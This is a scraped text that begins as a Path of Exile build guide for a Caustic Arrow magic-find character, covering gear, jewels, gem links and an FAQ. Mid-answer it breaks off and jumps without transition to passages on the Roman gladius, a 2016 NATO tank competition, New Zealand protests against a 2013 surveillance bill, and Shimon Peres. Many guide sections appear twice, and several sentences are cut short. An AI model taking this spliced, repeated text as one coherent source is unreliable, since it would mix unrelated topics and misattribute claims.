Mastercraft (15 to 30)% increased Damage over Time (Leo, level 3) This is EXPLICITLY if you want to get a dual-res bow. Otherwise, use one of the aforementioned methods.
Caustic Arrow cloud damage scales with gem levels, thereby we want a +3 bow (Paragon’s (+1 level of socketed gems), Sharpshooter’s (+2 levels of socketed bow gems)),For the other affixes, you're looking to craft Damage Over Time (15-30%) from Leo, the arguably most useless master in the game. Thankfully it only requires level 3 Leo, and you can crush that with just a few PvP missions. Heck, you can even get a friend to help you.For suffixes, not much really benefits the build. We don't particularly need attack speed, but resistances will be lacking, especially if you want to run Carcass Jack. So, ideally, you will look to eventually mastercraft your own +3 bow with dual resistances.Other semi-beneficial suffixes you'd want to keep an eye out for before your crafted bow (if you choose to craft one) are:There are three different methods for guaranteeing a +3 bow, and it all comes down to personal preference. All three methods start off with an item level 64 or higher white 6-link bow of your choice. Maraketh is the recommended base for the additional 6% move speed, and decent attack speed.Worth noting, in most cases it will be cheaper for you to just buy a 6L +3 bow gems these days. The major exceptions where you would want to pursue crafting are:* SSF (you will need minimum 2 exalts to drop)* Dual res crafting* You specifically are looking for a Maraketh base and none are available
Quiver
With the changes to Drillneck in 3.0, Drillneck is no longer considered BiS in my opinion, however it is a valid option still. The important note to make here is that "Drillneck now grants Arrows that Pierce deal 50% increased Damage."
What this essentially means is if you're firing at the enemies feet, Drillneck does nothing. You need to be firing through packs in order to see any benefit, and on bosses you have to be a lot more precise in order to proc the benefit. The arrow is essentially the payload for the cloud, so it will require a hit AND pierce in order to benefit the cloud damage. It will be a lot less consistent until you practice and get used to it.
In my opinion, given that we will be getting resistances on all six jewel slots in order to make gearing the rest of the build easier, and the fact that Drillneck now only provides a 50% damage boost, we're better off going with a:
Rare Penetrating Arrow Quiver
- High flat life
- Tri res 35%+ for each resistance
What this will allow us to do is drop the resistance rolls on our jewel slots and instead get damage affixes. This will increase our total damage by over 60% (minimum), beating Drillneck's effectiveness by at least 10% while being a consistent source of damage, and generally just providing more QoL. The better quiver you get, the easier it will be to also add Carcass Jack to the build (which is buffed in 3.0).
Regardless of what quiver you go with, you should strive for a +1 arrow corrupted implicit as this will benefit your overall clear speed more than an additional pierce will, even in cases of Drillneck.
With the changes to Drillneck in 3.0,, however it is a valid option still. The important note to make here is that "Drillneck now grants Arrows that Pierce deal 50% increased Damage."What this essentially means is if you're firing at the enemies feet, Drillneck does nothing. You need to be firingpacks in order to see any benefit, and on bosses you have to be a lot more precise in order to proc the benefit. The arrow is essentially the payload for the cloud, so it will require a hit AND pierce in order to benefit the cloud damage. It will be a lot less consistent until you practice and get used to it.In my opinion, given that we will be getting resistances on all six jewel slots in order to make gearing the rest of the build easier, and the fact that Drillneck now only provides a 50% damage boost, we're better off going with a:- High flat life- Tri res 35%+ for each resistanceWhat this will allow us to do is drop the resistance rolls on our jewel slots and instead get damage affixes. This will increase our total damage by over 60% (minimum), beating Drillneck's effectiveness by at least 10% while being a consistent source of damage, and generally just providing more QoL. The better quiver you get, the easier it will be to also add Carcass Jack to the build (which is buffed in 3.0).Regardless of what quiver you go with, you should strive for a +1 arrow corrupted implicit as this will benefit your overall clear speed more than an additional pierce will, even in cases of Drillneck.
Helmet
Life, IIR, resistances. If you can get additional defenses, great. If not, oh well. Look for a pure evasion base if you can, hybrid eva + ar/es if you have to.
Life, IIR, resistances. If you can get additional defenses, great. If not, oh well. Look for a pure evasion base if you can, hybrid eva + ar/es if you have to.
Gloves
Same as the helmet: life, res, IIR, defenses if you can, preferably an evasion base if you can, hybrid evasion + armour/es if you must.
As you're progressing, you have a couple other options:
Sadima’s Touch is a solid pair of gloves to use while leveling, but these will need to be replaced with a pair of rare gloves to help with resistances, and survivability. Same as the helmet: life, res, IIR, defenses if you can, preferably an evasion base if you can, hybrid evasion + armour/es if you must.As you're progressing, you have a couple other options:Sadima’s Touch is a solid pair of gloves to use while leveling, but these will need to be replaced with a pair of rare gloves to help with resistances, and survivability.
Boots
Due to the nature of how IIR and IIQ interact, you do want at least a modicum of IIQ for MF, hence we go with Goldwyrm. While the movement speed isn't the best, it's easily compensated by two Quicksilver flasks while the boots themselves provide a high-roll fire resistance and mana regeneration.
While saving up for Goldwyrm a good pair of rare magic find boots can be used.
Due to the nature of how IIR and IIQ interact, you do want at least a modicum of IIQ for MF, hence we go with Goldwyrm. While the movement speed isn't the best, it's easily compensated by two Quicksilver flasks while the boots themselves provide a high-roll fire resistance and mana regeneration.While saving up for Goldwyrm a good pair of rare magic find boots can be used.
Body Armor
In my opinion Carcass Jack provides the best balance of QoL with the AoE and dps with the buffed 3.0 version as well as some resistances, making it easier to equip in light of the Andvarius rings. However if you end up with a +1 arrow quiver, the AoE is less important and, if you're willing to min-max the rest of your gear to make it work, then:
Until you can get either of those going:
A rare chest that covers off your life, and other resistances. Look for a pure evasion base if you can, hybrid eva + ar/es if you have to.
In my opinion Carcass Jack provides the best balance of QoL with the AoE and dps with the buffed 3.0 version as well as some resistances, making it easier to equip in light of the Andvarius rings. However if you end up with a +1 arrow quiver, the AoE is less important and, if you're willing to min-max the rest of your gear to make it work, then: Cherribum's Malefience is your best option for raw damage output. Important to note it has no resistances on it, so while it's BiS for damage, it's going to require some pretty hefty investment to equip with the Andy rings in play. (Just a note, that's a legacy chest, the damage rolls are now 50-80%).Until you can get either of those going:A rare chest that covers off your life, and other resistances. Look for a pure evasion base if you can, hybrid eva + ar/es if you have to.
Accessories
Andvarius is the core of the item rarity in this build, start with any ring you can afford and work your way up from there. Max implicit rolls on gold rings are 15%, and the max explicit roll is 70%
Ventor’s Gamble looks good in theory, but the practical application of the IIQ/IIR map coefficient means you need to have a Ventor’s rolled with +7%IIQ and +40%IIR explicit mods. The math for these calculations can be found
Any rare gold amulet life, rarity and resistances. There's no other option here better than a decently rolled rare amulet, at present.
A rare leather belt with life and ALL three elemental resistances. If you manage to land a belt with an open prefix, you can compensate a bit more for the lack of good MS on Goldwyrm by mastercrafting the MS prefix here from Tora (Level 6).
Andvarius is the core of the item rarity in this build, start with any ring you can afford and work your way up from there. Max implicit rolls on gold rings are 15%, and the max explicit roll is 70%Ventor’s Gamble looks good in theory, but the practical application of the IIQ/IIR map coefficient means you need to have a Ventor’s rolled with +7%IIQ and +40%IIR explicit mods. The math for these calculations can be found here. Any rare gold amulet life, rarity and resistances. There's no other option here better than a decently rolled rare amulet, at present.A rare leather belt with life and ALL three elemental resistances. If you manage to land a belt with an open prefix, you can compensate a bit more for the lack of good MS on Goldwyrm by mastercrafting the MS prefix here from Tora (Level 6).
Flasks
We use two Seething Hallowed Flasks, one Catalysed Divine or Eternal Flask, and two Chemist's Quicksilver Flasks of Adrenaline (superior to Ample as we can recover a use ~7.5 charges instead of per 10). You can find an explanation for the Hallowed choice in the FAQ.
We use two Seething Hallowed Flasks, one Catalysed Divine or Eternal Flask, and two Chemist's Quicksilver Flasks of Adrenaline (superior to Ample as we can recover a use ~7.5 charges instead of per 10). You can find an explanation for the Hallowed choice in the FAQ.
Jewels
The desirable mods on jewels for the build are:
Chaotic (Chaos Damage 9% to 13%)
Vivid (Max Life 5% to 7%)
of Archery (Projectile Damage 10% to 12%)
of Wounding (Damage 8% to 10%)
of Entropy (Damage over Time 10% to 12%)
of Blasting (Area Damage 10% to 12%)
of Resistance (Additional All Elemental Resistance 8% top 10%)
Jewelcrafting
Full details provided by Nasty Toxic
Surprisingly, the Crimson Jewels have the best chance to roll our desired affixes. Here is the source of the Crimson Jewel values as pulled from poedb.tw/us/mod.php?type=42&attr=136 (link may be unreliable depending on the site-owner).
Jewel Affixes and Chance to be Rolled, by Jewel Color:
%increased life:
R 2.84%
G 1.81%
B 2.00%
% increased Chaos Damage:
R 1.14%
G 1.04%
B 1.14%
% increased Area Damage:
R 3.79%
G 3.66%
B 3.60%
% increased Projectile Damage:
R 3.03%
G 3.66%
B 2.88%
% to all Elemental Resistances:
R 2.27%
G 2.20%
B 2.16%
% Damage over Time:
R 3.79%
G 3.66%
B 3.60%
The desirable mods on jewels for the build are:
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- Enchants -
For the below enchants, I have bolded my personal preference for each category. You can feel free to adjust based on your own playstyle.
Gloves
Word/Edict/Decree/Commandment of Light
Deals a portion of your main hand damage in an area around you and creates Consecrated Ground, Causing You and your Allies to Regenerate Life.
Word/Edict/Decree/Commandment of Reflection
Creates a clone of you that attacks with your weapon.
Word/Edict/Decree/Commandment of Spite
Releases a nova of projectiles based on your weapon, leaving chilling ground in their wake.
Boots
Chance to Dodge if you've taken a Critical Strike Recently.
Increased Movement Speed if you haven't been Hit Recently.
Chance to Dodge Spell Damage if you've taken Spell Damage Recently.
Helmet
Due to the nature of how difficult it is to achieve a desireable helmet enchantment, my recommendation is to just stick with the first one you find that more directly benefits the build (Damage, Radius, Curse Effectiveness).
Increased Caustic Arrow Damage
Increased Caustic Arrow Radius
Increased Caustic Arrow Duration
Reduced Grace Mana Reservation
Increased Despair Curse Effect
Increased Effect of the Buff granted by your Flame Golems
Blood Rage grants additional XX% chance to gain a Frenzy Charge on Kill
Increased Blink Arrow Cooldown Recovery Speed
Due to the nature of how difficult it is to achieve a desireable helmet enchantment, my recommendation is to just stick with the first one you find that more directly benefits the build (Damage, Radius, Curse Effectiveness).
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- Gems & Links -
Primary Skill:
In a completed build the primary set up in a +3 Bow is - Caustic Arrow - Void Manipulation - Conc Effect - Swift Affliction - Empower (5L) - IIR (6L).
Q: What about before Ascending?
A: Before gaining Deadeye it is up to you if you want to run Increased Area of Effect or not. If you do decide to run AoE your gem links would be Caustic Arrow - Void Manipulation - Conc Effect - Increased AoE - Swift Affliction / Empower (5L) – IIR (6L). There are some situations where Empower should be used over Swift Affliction, and the explanation can be found in the
Curse Setup & Terrain Breaker:
In a 4-Link we run Frenzy - Greater Multiple Projectiles - Curse on Hit - Despair. Faster Attacks or Lesser Multiple Projectiles are potential fifth link options, but neither is needed for the setup. I leave the decision up to you. Personally, I prefer the extra projectiles to make it easier to break barrels and spread the curse more effectively. If you decide to get a 6L chest, you can add the other one in.
In a 5L, you will also want to add Decay, to help improve single-target damage against bosses. You can choose to drop GMP here if you only have a 4L.
Damage Boost & Utility
Wither - Spell Totem - Faster Casting to help kill bosses, and the occasional tankier blue/rare or high chaos resistance mob, Wither totem is your friend. Increased Duration or AoE could be added as the fourth link, but is not required. Duration would be more beneficial for more situations, as Wither's primarily used as a single-target boost except in high-life, high-tier maps where you may want more coverage for the generally tankier mobs. But Duration will generate more stacks, which is a single-target damage boost: the primary reason to drop a Wither totem, normally.
Blood Rage - Vaal Lightning Trap - Increased Duration – (Enduring/Rallying Cry) Vaal Lightning Trap is the only reliable source to create shocking ground which provides 50% more damage, useful for bosses. Blood Rage allows us to automate our frenzy charge generation, as most monsters do not need to be cursed to melt. One of the most common questions I get is why run Blood Rage if we're running a Despair CoH setup.
Fact is, you'll only be cursing bosses and tankier monsters. This automates the frenzy generation and dramatically improves your clear speed.
Enduring/Rallying cry is listed in brackets to indicate it's optional and at player discretion.
Auras
Grace- Clarity – Enlighten will be your core aura setup, with Enlighten added mostly as QoL in order to provide a slightly larger mana pool in order to assist with reduced recovery maps. It is not required to have Enlighten.
While levelling, and especially before you're fully geared, you may want to run any of the Purity auras to help out with res balance. If so, drop Grace, and ensure you take Acrobatics.
You shouldn't need to exceed a Clarity Level 10, and in fact the central reason we even still have this aura in the final build is to make reduced recovery maps possible without having to reroll the map, or swap in a mana flask.
Other
Any other spare gem slots should be used to fit in Flame Golem, Blink Arrow and Portal.
As you reach the final stages of this build, you'll see why Portal is so beneficial: it's very easy to run out of Wisdom scrolls. This 5-7 chaos gem allows you to sustain your Widsoms more reliably.
Lastly, don't forget to level other gems in your swap gear. And keep special attention to when you're levelling Empower or Enlighten: you will want a Haku Weapon for this.
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- Finished Stats -
Stats
* CA 21
* Empower 4
* 20/20 Concentrated Effect, Void Manipulation and Swift Affliction
* 6 frenzy charges
* Occultist's increased damage if you've killed a cursed enemy recently.
* 50% AoE dmg Carcass Jack
* Post-Drillneck era (so, rare quiver)
The rest of these stats are "outdated" but the only real relevant thing here is life and MF. Your life will vary typically anywhere between 5000-5300 depending on how you prioritize your passives by level 90-94.
3.0 DPS Stats on Scion-Ascendant With:* CA 21* Empower 4* 20/20 Concentrated Effect, Void Manipulation and Swift Affliction* 6 frenzy charges* Occultist's increased damage if you've killed a cursed enemy recently.* 50% AoE dmg Carcass Jack* Post-Drillneck era (so, rare quiver)The rest of these stats are "outdated" but the only real relevant thing here is life and MF. Your life will vary typically anywhere between 5000-5300 depending on how you prioritize your passives by level 90-94.
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- Tools -
Due to IRL complications, I will no longer be updating this thread, until further notice, if at all.Sorry.******************************************************And one more thing: I will not respond to private messages (either on the website or in-game) regarding the build.Post your question in the thread. Thank you.[01.00] - Overview[02.00] - Media[03.00] - Skill Tree & Ascendancies[03.01] - Shadow Trickster Tree[04.00] - Bandit Rewards[05.00] - Pantheon[06.00] - Gearing[07.00] - Enchantments[08.00] - Gems & Links[09.00] - Finished Stats[10.00] - Tools[11.00] - FAQ (Post 2) The purpose of this build is for those that don't like to party or do boss runs, although with the changes introduced in 2.2, it actually now functions reasonably for boss runs and can work decently in parties as long as you're willing to organize a culling setup for bosses and such. That said, this setup is designed specifically for solo map farming with good MF, life and res balance, combined with a relatively fast clear speed.Oh, and it can run any map mod comfortably up to T14 maps.Any. Mod. T14.Pros:Cons: Deathless Atziri Run with almost full MF spec - didn't *quite* have full res balance =( --- June 15, 2015. While outdated, undergeared and less powerful than CA currently is, this video remains to give you an idea of how to go about doing Atziri in general with CA and I feel is still relevant for showing how you can go about fighting it before you're fully kit. Inventory and Stash Management - Exactly what it sounds like! A video talking about stash and inventory management while mapping.With 3.2, Scion Ascendant-Occultist no longer provided -chaos resistance, rendering it a suboptimal choice for the build.In addition, Trickster became a LOT more powerful for the build. The short version is the new Trickster adds 20% more chance to evade, 5% additional chance to dodge attacks and spells, 20% increased DoT (and mana/life/es recovery on kill), and 15% MORE Dot (compared to 3.1 Trickster).The combined changes make Trickster far superior for the build compared to Scion-Ascendant and as such, this build is now Shadow Trickster.Ascendancy Order:Swift KillerPatient ReaperProlonged PainGhost DanceI don't have any Trickster CA characters built, so there will be no PoB pastebin or updated stats for 3.2 or beyond.My personal recommendation is to go with Kraityn for some QoL for the Frenzy CoH setup, dodge chance and movement speed. If you're in HC, Oak is probably your preferred option though a MoM variant should probably take Alira for the regeneration and to help make gearing easier.With the Pantheon system, you can have one major god and one minor god active at a time. When you're in town, you can cycle through these at will.Soul of LunarisThis is a drastic improvement to our general mapping. For certain boss fights, you may want to switch to Soul of Solaris (6% physical damage reduction if only ONE enemy is nearby | 10% chance to take 50% less area damage from hits | (With Penitentiary Incarcerator: 5% reduced elemental damage taken if you haven't been hit recently and some other less important stuff).There a bunch of good options here. I'm going to list these in my ordered recommendation from most recommended to least.The reasoning here is that Grukthul helps mitigate problems with the way entropy works with evasion, and increases survivability against physically-oriented bosses. Tukohama is more of an option if you prefer to stand in the pocket and fire, rather than dodge. If you feel as though you're good on physical damage reduction front, then take Grukthul instead for better map QoL clear speed and to counteract the entropy a bit. Ryslatha is last because our life flasks typically take care of themselves with how fast we clear through regular packs, but it is an option to take if you would prefer some extra QoL for flasks during boss fights.The goal of this build is to maximize magic find and survivability, so for gearing you are looking to get life, rarity, and resistances on the majority of your gear. The spoilers show examples of gear, some suggestions on gear progression, and crafting help where applicable.You will want to prioritize eva/es hybrid gear where you can.For the below enchants, I have bolded my personal preference for each category. You can feel free to adjust based on your own playstyle.What about before Ascending?Before gaining Deadeye it is up to you if you want to run Increased Area of Effect or not. If you do decide to run AoE your gem links would beThere are some situations where Empower should be used over Swift Affliction, and the explanation can be found in the FAQ Path of Building - OPieOP. Effective IIQ/IIR map coefficient (C Value) calculator by Caliark. Jul 27, 2011 - Sept 30, 2018. Last edited by Serleth on Sep 1, 2018, 3:30:29 AM Last bumped on Nov 8, 2018, 7:35:28 PM Posted by Serleth
on on Quote this Post
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- Frequently Asked Questions -
Q: Please Explain your 0.5ex an Hour Calculation.
[spoiler="A:"]
These calculations use the Standard League exchange rates as of January, 2015. They have not been updated, and are not expected to reflect Challenge League currency ratios.
edit (August 10, 2015): Warbands rates are around 60c:1ex and 110f:1ex. Meaning the currency earned is adjusted to around 0.3ex/hr.
This value was compiled after spending two weeks running nothing but blue maps level 66-70 (and the Zana dailies, 74-77) tracking the net currency over time played, and ONLY includes currency earned from:
Raw drops
6S / chrome vends
Chaos, gcp and regal recipes
January, 2015 exchange rates Fuse 42-44:1
Chaos 36-38:1
Gcp 11-13:1
Regret 15-18:1
Vaal 25-27:1
Chrome 220-250:1
Alts based off fuse @ 42:1 (336:1)
Alcs/chisels 90:1
The 0.5ex/hr figure does NOT include ANY sales whatsoever, and will vary at the start of new leagues where exchange rates are closer to 45c:1ex and 70f:1ex, whereupon the exalt/hr rate will dip to about 0.35-4. But the market takes care of the balance anyway, and the value for currency vs item cost ends up equalizing.
It also assumes that you are converting all of your income straight to exalt, and does not factor in how you might be spending that currency (rolling maps, alc'ing jewelry, etc).[/spoiler]
Q: Can you do a Gear Check for Me? What is the Gear Progression?
[spoiler="A:"]
I'm no longer going to be doing gear-checks on this thread. That takes up a significant amount of my time to run through everybody's gear-checks, particularly early in the league.
The thought process is simple: get as much life, as much resistance, and as much IIR as you can on everything that isn't a unique.
TLDR; Progression
Sadima's > 5L +2 bow (ilvl 64 required) > stack IIR as much as possible elsewhere (gold rings, gold amulet, iir on hat) > Goldwyrm > Andvarius > replace Sadimas with IIR gloves > 2nd Andvarius > +3 bow. The last two are italicized to indicate you can adjust that progression based on your preference.
[/spoiler]
Q: Does Item Rarity/Item Quantity Work with the Cloud?
[spoiler="A:"]
Yes. If you want to use the IIQ gem in Standard, I do not personally recommend supplanting a damage gem with it. But if you insist, and you want to run both IIQ and IIR at the same time, drop Empower if level 3 or less, and drop Rapid Decay if your Empower is level 4. If you want to run one or the other (rather than both concurrently), your decision between choosing IIQ or IIR is based off of C = (1 + [IIQ/100]) * (1 + [IIR/100]). Whichever gem gives you the higher C coefficient is the gem you use.
[/spoiler]
Q: In a Standard League Build, Do you Think it would be Better to Take Item Quantity Over Item Rarity?
[spoiler="A:"]
Depends on the rest of your gearing progression, but generally, yes. You would need to be roughly at around 230-250 IIR to make it worthwhile though, in my experience.
IIQ/IIR: MF Balance and Diminishing Returns guide (v2.2)
[/spoiler]
Q: Where's the leveling guide?
[spoiler="A:"]The leveling section has been removed due to two factors.
a) Questions still arise in the thread all the time regarding leveling and the consensus is that it's better to address these questions as-needed on an ongoing basis
b) The workload to maintain it, especially during heavy patch changes like 3.0, is extremely intensive, especially given that what I wanted to do was provide leveling trees for people. The trees alone take up an entire workday to adjust and maintain, and it's just no longer feasible.[/spoiler]
Q: What Modifiers Affect the Cloud Damage?
[spoiler="A:"]
There are currently five modifiers that affect the cloud damage:
Chaos Damage, Passive Tree & Jewels
Damage over Time, Passive Tree & Jewels
Projectile Damage, Passive Tree & Jewels
Area Damage, Jewels
Global Damage, Jewels [/spoiler]
Q: How Should I Prioritize the Damage Modifiers?
[spoiler="A:"]
Does not matter. All five affect the cloud equally. Just keep in mind area damage will not show up on the tooltip. But don't worry, it works.
For a detailed explanation, please refer to
[/spoiler]
Q: How does IIR apply with multiple damage sources?
[spoiler="A:"]In solo play, if two different DoT's are applied (ie, the CA cloud and the Decay from the Essence or Support Gem), the one that is applied first will get the kill credit and thus the IIR bonus. To maximize ease of play, your eventual goal is to also 6L your chest and have an IIR gem on the Frenzy Curse-On-Hit Decay setup so that you don't have to worry about which damage source will provide the IIR bonus. Until that time, however, you're just going to have to get a feel for how fast you kill bosses and cycle your damage appropriately so the right damage source gets kill credit for the IIR bonus.
On this front, it's important to note the your cloud duration will be significantly shorter than your Decay duration. So for example, you might fire off a CA cloud which expires in 4 seconds and immediately fire a Decay shot which lasts for 10 seconds. After the CA cloud expires, Decay will be the one tagged for kill credit.
For party play, if two damage sources of the same DoT type are applied (eg, two CA clouds), the one with higher damage takes precedence.[/spoiler]
Q: Okay, so why not use Decay to tag with IIR?
[spoiler="A:"]Because it's clunky, unreliable, but most importantly the vast portion of our currency generation is going to come from general map clearing, not bosses, so tagging the boss appropriately with IIR isn't as big a concern, so it's more important IIR stays on the CA gem links for greater overall benefit.
That said, for bosses, feel free to adjust by dropping GMP for Culling Strike in the CoH setup and add an IIR 6th link if you want to ensure the boss also drops max IIR.[/spoiler]
Q: Why not Aurseize too?
[spoiler="A:"]
[/spoiler]
Q: How does the change to maps having IIR affect the build? And why not IIR boots instead of Goldwyrm?
[spoiler="A:"]
Drastic improvement for map rolls. Details on the math can be found
[/spoiler]
Q: Should I Craft a +3 Bow?
[spoiler="A:"]
A: Early league, yes, but it's cheaper to do it yourself rather than go through a service or buy one off the market. But that depends on you getting Catarina 8. Mid to mid-late league, it's actually just cheaper to buy one, if all you care about is the +3 roll. So just keep tabs on the market. Self-crafting the +3 bow, using Method One, will cost you 3-4ex (1ex Cata mod, 1ex for the first exalt attempt, 1ex if you're unlucky, and maaaaaaaaybe ~1ex in alterations to get single-stat +2 bow gems).
[/spoiler]
Q: Why not Phase Acro / Quickness / Etc?
[spoiler="A:"]
I've deliberately designed this guide to finish at 88. Any other things you decide to pick up afterwards, or in lieu of other options, is your discretion.
[/spoiler]
Q: How do you progress to earning enough to buy all the upgrades?
[spoiler="A:"]
You can go pretty much self found gear. For the first bit.
All the expensive stuff is really just gravy. All you need to get this build going is a +2 5L bow. You can buy a cheap 5L for 5-7 chaos, and spend 60 alts or less getting +2 on it. Details of how fast it can progress to fully geared can be seen
Stack as much IIR on your rares as you can, taking resist nodes on the tree as necessary. You'll be able to hit 100 IIR without much issue (12% per gold ring = 24% + 15% on amulet = 39%, let's say 12% explicit rolls on each of those slots = 39%+ (15x3) = 85% + 15% on helmet and gloves each = 115%).
Then as and when you get bank, start punching out the upgrades as per the Gearing Progression question(second question in the FAQ).
[/spoiler]
Q: Why no Eldritch Knowledge jewel?
[spoiler="A:"]
Eldritch Knowledge gets you 20-25% chaos damage depending if you place in Witch or above Blood Drinker.
Compare that to Poacher's Aim (25%) and literally any rare jewel with dual damage mods (10% + 10% at the minimum, capping at I think 13% + 13%), Eldritch Knowledge is, at best, a temporary jewel for this build.
The moment you get a well rolled dual damage rare jewel with any other useful affix (third damage roll, life, resistances), EKno. becomes sub-par. It's an interim choice.
[/spoiler]
Q: What about Ventor's Gamble?
[spoiler="A:"]
Nope, not unless it's 7/40 or better.
[/spoiler]
Q: Why Hallowed Seething Flasks?
[spoiler="A:"]
Math and discussion found here.
[/spoiler]
Q: This tooltip? What the f**k??
[spoiler="A:"]
Look at the Chaos Damage Per Second in the Expanded Tooltip |
separated from bodies with the neck cut right through, or entrails lying open, and other repulsive wounds, and there was general panic as they began to see what sort of weapon and what sort of men they had to fight. (31.34 in Campbell, 424)
Evolution
Surviving blades from archaeological digs indicate that during the late Republic the blade was longer, in the 1st century BCE the blade became shorter, wider and with a more tapered point - the Mainz type, and in the 1st century CE the blade and point became a little shorter again - the Pompeian type. It is important to remember, though, that soldiers were often responsible for acquiring their own weapons and at no time would entire armies have had their old swords withdrawn and everyone been issued with new standardised equipment. This fact, along with individual preferences and the somewhat random origins of surviving swords with the inherent difficulties in accurately dating them, means an evolutionary timeline for Roman sword design is difficult to establish.
Archaeological finds and better identification of swords already in museums are building a more accurate history of the gladius Hispaniensis, as the historian Simon James here summarises,
This weapon, until recently known almost solely from literary descriptions, is routinely described as a "short, thrusting sword," contrasted especially with much longer Gallic slashing blades. Yet actual examples of the gladius Hispaniensis, recently identified in existing museum collections, show that it was not short at all; it was actually as long as the earliest known imperial spathae, commonly characterized as long slashing swords, recovered from Scotland…Further, the Republican weapon looks as suited to cutting as to thrusting - and, returning to the texts, Polybius makes clear it was actually used in both modes, even if thrusting was tactically preferred against foes like the Gauls to foil the long reach of their blades. The case of gladius Hispaniensis exemplifies a general point; our most cherished received ideas about the classical past are open to challenge from new research, not least in archaeology. (Campbell, 123)
Roman art such as mosaics, wall paintings and tomb sculpture indicate that the sword was kept in a scabbard (of sheet metal or wood and leather) and hung from a wide belt (cingulum) via four hoops on the right side of the wearer for legionaries and on the left side for centurions and officers, who often had a silver scabbard and sometimes hung the sword from a baldric (balteus) passing over the right shoulder.
The gladius Hispaniensis was not adopted by all, and some Roman infantry did use other types of sword, notably the slightly longer spatha (70 cm blade), which was more common amongst the cavalry. It seems that from the 3rd century CE the longer sword became more common and the gladius Hispaniensis gradually fell out of favour. The two-edged short sword did become popular with Rome’s enemies who saw its effectiveness only too closely and who continued to use it from the 3rd to 5th centuries CE.American tank crews have failed to place in the Strong Europe Tank Challenge, a competition co-hosted and sponsored by US Army Europe. The three-day event gathered the best NATO crews to compete against each other in a set of armored warfare tests.
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The Strong Europe Tank Challenge was jointly hosted from May 10 to 12 by the US Army and the German Bundeswehr at the Grafenwoehr Training Area in Germany. The three-day event involved crews from Denmark, Germany, Italy, Poland and Slovenia – which each sent platoons of four tanks – and the United States, which sent two platoons of four tanks.
The tank competition appears to be the first of its type to be held by NATO in Europe since 1991, the year the USSR dissolved. Designed to develop armored warfare skills, the tank challenge is also in line with the NATO trend of planning to counter what it calls an “assertive Russia.”
Crews taking part in the competition conducted either offensive or defensive operations, including an obstacle course with 13 different sections, a shooting competition, and tank-based navigation. The platoons were given points for each event in an effort to gain the highest score out of 1,000.
In one event, competing crews had to correctly identify 25 “friendly” and “threatening” vehicles while traveling around a course. Other events involved operating in the aftermath of a simulated chemical weapons attack, dealing with improvised explosive devices (IEDs), and managing medical emergencies, according to a US Army press release.
The German team took top honors, followed by the Danish tank crew in second. Third place went to Poland. The teams representing the US Army – which sponsored and advertised the event on social media – failed to make the top three.
Notably, all the teams were allowed to use tanks of slightly different types. The German platoon brought a Leopard 2A6, one of the best NATO-developed tanks that features a modified turret, enhanced mine resistance and a longer main gun barrel.
🔥🔥🔥 Germany Claims Trophy in Strong Europe Tank Challenge. https://t.co/vPeOV5MvVA Well done mate. SUGS! 🤘👏 pic.twitter.com/1DHqWnuogC — Onlinemagazin (@OnlineMagazin) May 14, 2016
Denmark and Poland used Leopard 2A5s, an earlier version, while both Italy and Slovenia brought domestically-built Ariete and M84 tanks respectively. The American crews competed in M1A2 Abrams, according to the press release.
Clash of titans: Tank biathlon starts 2015 International Military Games nr Moscow
Earlier in May, General Mark A. Milley, the Army chief of staff, said there are serious gaps in the US military’s combat training. “Today, a major in the Army knows nothing but fighting terrorists and guerrillas, because he came into the Army after 9/11,” General Milley told journalists. “But as we get into the higher-end threats, our skills have atrophied over 15 years.”
A similar competition, the Tank Biathlon, takes place annually in Russia as part of the massive International Army Games. Last summer, some 2,000 servicemen from 17 countries, including Russia, China, India, Venezuela, Kuwait, Pakistan, and Mongolia, among others, competed in the games, which were held in Russia between August 1 and 15.
The tank contest follows rules of a classic biathlon, with each armored vehicle aiming to cover around 20km in the shortest time possible while shooting at various targets. Last year, almost all the teams used Russian-made T-72B3 tanks. The Chinese competed with one of their own tanks, the Type 96A.Thousands of people have protested across New Zealand against the new surveillance bill that would enable the country’s Government Communications Security Bureau (GCSB) to spy on its citizens.
The protests were held in 11 cities and towns. with the strongest turnouts in Auckland and Wellington, showing the growing level of New Zealanders’ concern over the GCSB bill, the NZ Herald reports. Once passed into law, the bill will extend the bureau’s powers granting the agency a right to eavesdrop on telephone conversations.
Protesters took to the streets in Auckland blocking the traffic in the central part of the city. A march down Queen Street attracted an estimated 2,000 people.
MegaUpload founder Kim Dotcom joined the rally, addressing the people in a speech at Auckland's Aotea Square. He told the crowd that the government had invaded his privacy and "if they can do that to me they can do that to any of you."
I am at a massive protest in Auckland against the new #GCSB spy law. pic.twitter.com/d0wiFKmgkE — Kim Dotcom (@KimDotcom) July 27, 2013
It would be an "uphill battle" to stop the passage of the pending bill, said Labour Party leader David Shearer, adding that “there's now a lack of confidence by New Zealanders in our intelligence agencies,” as quoted by the NZ Herald.
In Wellington more than 500 protesters marched to the steps of parliament, many wearing stylized Guy Fawkes masks, adopted as a universal symbol against tyranny. The people held signs and chanted slogans like "we don't want your spying state'' and "surveillance is for war."
Main gates have been shut so people are climbing over! #GCSBpic.twitter.com/1snWe0QOuU — Kendall Forbes (@KendallForbes) July 27, 2013
Chief executive of Kim Dotcom's new Mega website and the former head of Internet NZ, Vikram Kumar, was met with a resounding "no'' when he asked the crowd whether they want to be spied on, the Herald said.
"The land of the long white cloud becoming the land of the NSA spy cloud? No!''
Civil liberties campaigner and Tech Liberty co-founder Thomas Beagle said the GCSB bill was about “mass surveillance” that gives extensive power to the state.
"It's about spying on everyone, no matter what they've done, no matter what they're going to do,” he said. "This sort of mass surveillance changes the balance of power in our society away from the people and towards the state.''
Spontaneous sign making at Hamilton GCSB protest. pic.twitter.com/X5yGYKHZhL — Alison McCulloch (@alisonmccull) July 27, 2013
Prime Minister John Key has been defending the bill, saying that it would give greater oversight and was "a strengthening of the previous legislation.”
"I accept there are some that will always feel a bit nervous about privacy and their own rights, but I can give you the best assurance I can that we're very careful and cautious about what we do as a state. But in the end we do have to protect the interests in New Zealanders,'' he said during a visit to South Korea.
The pending bill is expected to pass through parliament with a majority of one. If passed into law, more power would be given to New Zealand’s domestic and foreign intelligence agencies - the Security Intelligence Service (SIS) and the GCSB. MPs have said that both surveillance agencies require additional resources to protect national security.For those of you with the gall to call Shimon Peres a ‘peace maker’ You all have no idea what peace is – clearly.
Images by Carlos Latuff
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He was seen abroad as an urbane diplomat but at home often as an ego-driven manipulator in domestic politics who eroded his party’s identity out of a thirst for cabinet posts after election losses to Likud.
Shimon Peres Won Plaudits and Nobel Prize — but Goal of Peace Eluded Him
Shimon Peres, who died on Wednesday at the age of 93, never realized his vision of a new Middle East built upon a 1993 interim peace deal he helped shape with the Palestinians.
